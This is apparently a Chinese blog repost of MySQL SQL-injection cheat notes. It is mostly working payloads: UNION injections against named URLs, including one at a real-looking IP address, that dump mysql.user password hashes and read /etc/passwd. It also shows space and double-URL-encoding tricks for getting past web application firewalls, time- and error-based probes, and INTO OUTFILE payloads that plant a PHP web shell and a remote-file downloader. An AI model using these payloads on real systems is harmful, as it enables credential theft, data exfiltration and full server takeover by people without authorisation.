- A+
/lingdao.php?id=161.0ORDER BY%2B9
/lingdao.php?id=4.990Union(select-1.0,2,3,4,5,6,7,@@version)
Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,8.0FROM(`mysql`.user))
/lingdao.php?id=4.990Union(select-.1,password,3,4,5,6,7,`user`FROM(`mysql`.user))
/lingdao.php?id=4.990Union(select-.1,`load_file`(0x2F6574632F706173737764),3,4,5,6,7,8)
----------------------------------------------------------------------------
select user,password from users where user_id=\Nunion select 1,2;
// \n表示回车,在Linux中表示一行的结束。
select user,password from users where user_id=1.0union select 1,2;
//不只是1.0只要是小数都行。
select user,password from users where user_id=1e0union select 1,2;
//1e0表示科学计数法。
//SQL关键字、列名不区分大小写,数据库名表名区分大小写。
select user,password from users where user_id=1 union select-1,2;
//select后面如果是数字,可以是-1也可以是+1(即在数字的前面添加数学符号),这样就避免了使用空格。
select user,password from users where user_id=1 union select~1,2;
//~1会返回一串数字,我在kali中测试返回18446744073709551614
select user,password from users where user_id=1 union select!1,2;
//!表示逻辑非
select user,password from users where user_id=1 union select@1,2;
//@1会返回null,@后面跟什么都返回null。
select user,password from users where user_id=1 union select'1',2;
//单引号可以,双引号也可以。
select user,password from users where user_id=1 union select(1),2;
//小括号可以嵌套多个。
当然能够代替空格的还有注释符/**/
char(109) 等于m
ascii('m') 等于109
length('ddd') 等于3
substring('abc',2,1) 等于b
select load_file(0x2F6574632F706173737764);
//和 select load_file('/etc/passwd') Mysql会自动解码十六进制字符串。
select hex('shenlan'); 的值等于 7368656E6C616E
//对字符串进行十六进制编码
select unhex('7368656E6C616E'); 的值等于 shenlan
//对十六进制字符串进行解密
select substring(hex(load_file('/tmp/90.jpg')),1,10);
//使用substring函数对内容进行才分,这样一次便可以有效地读取一块二进制文件,从而克服应用程序可能强加 //的限制。如上面的例子,先读取前10个字符,然后读取第二个字符块是:
select substring(hex(load_file('/tmp/90.jpg')),11,10);
select 'shenlan' into outfile '/tmp/test.txt';
//写文件,dumpfile允许写二进制文件。
避开WAF的其他方法
使用大小写变种
使用注释符
select/**/password/**/from/**/admin;
使用URL编码
http://210.36.200.9/xjzx/Article/show/id/4.0Union(select-0.1,2,USER,password,5,6,7,8,9,10,11,12,13.0FROM mysql%252euser)
//waf对提交的字符串只进行一次url解码,而web application却进行二次url解码,所以得以绕过防火墙检测。
可用于判断的符号
=、<、>、<>、like、!=
id=8/*!50380 -1*/
//判断数据库版本,如果版本编号大于50380则id=7,否则id=8
id=90-@@version
//mysql将会采取类似四舍五入的方式来计算@@version,如果@@version=5.1.52,则id=85。如果 //@@version=5.6.11,则id=84
id=14260-if(@@version>5.1,1,0)
//如果版本小于或等于5.1,则id不变,否则减一。
使用非标准入口点
比如,目标服务器开了80端口和443端口,但是waf对过滤了80没过滤443,这时我们就可以从443入手。或者cookie 注入或者其他http头信息注入。
二阶注入
混合攻击(xss+sql注入),比如当sql注入点在后台的时候;管理员在内部网登录服务器进行管理,而waf只检测 外来的连接的时候。
select user,password from(users)where user_id=1.0Union(select(1),(2));
//本例中使用1.0代替1,以去掉两者间本应有的空格,接下来使用小括号将数字括起来以免去空格。
判读是否存在注入
id=161.0and%2b1
id=161.0and false
id=161 and true=1
//and、or、xor、&&、||、!、+、-、*、/
1、按位与“&”
2、按位或“|”
3、按位取反“~”
4、安位异或“^”
5、按位左移“<<”
6、按位右移“>>”
空格:
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
select user,password from users where user_id=1&&1=1;
常见的URL编码
20 Space
2B +
2D -
7E ~
21 !
40 @
25 %
3d =
XOR, DIV(除), SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,mod(求余)
select user,password from users limit 0,2;
//返回的行数,下标从0开始。limit 0,2 表示返回前两行。limit 1,1 表示返回第二行。
利用MySQL出错爆出字段
select user,password from users where user_id=1 and 'a'=b'1100001';
//b表示二进制编码
'a'=x'61' //x表示十六进制编码
'a'=unhex(61) //为真
'a'=n'a' //n表示uniconde
select concat(host,0x2D2D2D,password) from mysql.user;
//0x2D2D2D就是---,用作间隔。
截断符号:# -- /* %00
延迟
id=80-if(@@version>5.0,sleep(5),0)
select user,password from users where user_id=1/*!00000union*//*!select*/1,2;
//可以正常执行
mid()、substr()、substring()这三个函数功能相同用法相同
select password,`host`from`mysql`.`user`union select 1,2;
//反单引号可用于数据库名、表名、列名上,但是不可用于内容,函数名、关键字上。
select `version`();
//不过这样可以
strcmp()函数的功能及用法:
mysql> SELECT STRCMP('text', 'text2');
-> -1
mysql> SELECT STRCMP('text2', 'text');
-> 1
mysql> SELECT STRCMP('text', 'text');
-> 0
Escape Sequence Character Represented by Sequence
\0 An ASCII NUL (0x00) character.
\' A single quote (“'”) character.
\" A double quote (“"”) character.
\b A backspace character.
\n A newline (linefeed) character.
\r A carriage return character.
\t A tab character.
\Z ASCII 26 (Control+Z). See note following the table.
\\ A backslash (“\”) character.
\% A “%” character. See note following the table.
\_ A “_” character. See note following the table.
select+user,+password,-1-1.from users where user_id=1;
//在列名前加+号,不影响返回的值,还可以是-、!之类的运算符,不过结果可能会变。
select-count(user)as t from mysql.user;
//返回的列名将变为t,也可以不要as,如 select-count(user)t from mysql.user;
version() //数据库版本
user() //当前数据库用户
database() //当前数据库名
下面的符号可以用来注释语句:
# Hash 语法
/* C-style 语法
-- - SQL 语法
;%00 空字节
` 反引号
测试数据库版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
显示数据库用户
user(), current_user(), current_user, system_user(), session_user()
select concat_ws(0x3a,host,password) from mysql.user;
//0x3a是冒号,表示host和password间的间隔。
//也可以这样,效果是一样的
select concat(host,0x3a,password) from mysql.user;
当前数据库名
database()
select schema()
显示所有数据库名
SELECT schema_name FROM information_schema.schemata;
主机名
@@HOSTNAME
写一个php的shell
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
访问如下链接:
http://localhost/shell.php?c=cat%20/etc/passwd
写一个下载者
SELECT '<?php fputs(fopen($_GET[f],w),file_get_contents($_GET[d]));?>' INTO OUTFILE '/var/www/get.php'
也可以进行十六进制编码后在使用
访问如下链接:
http://localhost/get.php?f=shell.txt&d=http://localhost/admin.php
INTO OUTFILE 不可以覆盖已存在的文件。
引号是必须的,因为没有办法可以编码路径名。
宽字节注入
select password from mysql.user where user='root'%23te456tt465et%0Aand%23gdgetedfg%0A4=4 limit 1
//使用随机注释替换空格,%23是#号,%0a是换行符
from:
http://blog.csdn.net/et48_sec/article/details/42113107
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫